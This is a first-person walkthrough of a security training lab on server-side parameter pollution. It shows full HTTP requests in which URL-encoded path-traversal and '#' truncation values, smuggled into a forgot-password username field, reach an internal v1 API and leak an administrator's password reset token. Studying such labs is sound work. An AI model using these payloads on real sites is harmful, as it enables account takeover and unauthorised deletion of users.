Exploiting server side parameter pollution in a REST URL
Description
To solve the lab, log in as the administrator and delete carlos.
Approach
After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite. Two requests got my attention: one fetching a JavaScript file and the other a POST request to /forgot-password.
Starting with the GET /static/js/forgotPassword.js, there is an interesting part in the JavaScript script:
This part is responsible for getting the value of passwordResetToken and verifying it. If it exists, it redirects with a GET request to /forgot-password with that passwordResetToken.
From this information, I can build an attack path to get the administrator's passwordResetToken, reset their password, log in as them, and delete the user Carlos.
I started working on how to get the passwordResetToken of the administrator. I went to the POST /forgot-password request and sent it to the repeater in Burp Suite to start working on it. I started by truncating the query string with the # character:
POST /forgot-password HTTP/2
Host: 0ada009f03b2058781472faf00550026.web-security-academy.net
Cookie: session=bb7bjqWIY6WBTvIkezybzDfZtiBq6cJP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=vBr4ih5Bd22dgiBe4Pkw1y2jCUgSgVDX&username=administrator%23
I got this error:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86
{
"type": "error",
"result": "Invalid route. Please refer to the API definition"
}
From this, I understood that the truncation worked, but it destroyed the query string, making it unable to reach the intended route. To clarify, imagine this is the normal route:
/api/library/books/{book}/category/{category}
And I sent this:
book=HarryPotter%23
The query string would become:
/api/library/books/HarryPotter%23
That's not a valid route, so the API triggers an error indicating an invalid route.
Going back to the analysis, I tried using path traversal with common API definition file names, starting with the one mentioned in the course: openapi.json. After some attempts, I got a response after passing this payload URL-encoded: administrator../../../../../../openapi.json#.
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fopenapi.json%23
From this, I could see the /api/internal/v1/users/{username}/field/{field} route, which helped me understand the invalid route error I was getting.
I decided to go for the reset token of the administrator:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator/field/passwordResetToken%23
I got this error:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}
I couldn't get it this way, but looking at the documentation, I saw it was using version 2 of the API. I confirmed this by reaching the token again from a full path where the version is equal to 2:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv2/users/administrator/field/passwordResetToken%23
I got the same error, confirming my theory:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}
Now, I tried using an older version, version 1, to see if it worked:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv1/users/administrator/field/passwordResetToken%23
GET /forgot-password?passwordResetToken=pgjg38611p8vj5bozjcc0e0r5u3mjiso HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
In the response, I could see the password reset page for the administrator user. By simply right-clicking the response and clicking Show response in browser, I could copy and paste the URL into the browser and reset the administrator's password. Finally, I logged in as the administrator and deleted the user Carlos, which resulted in solving the lab.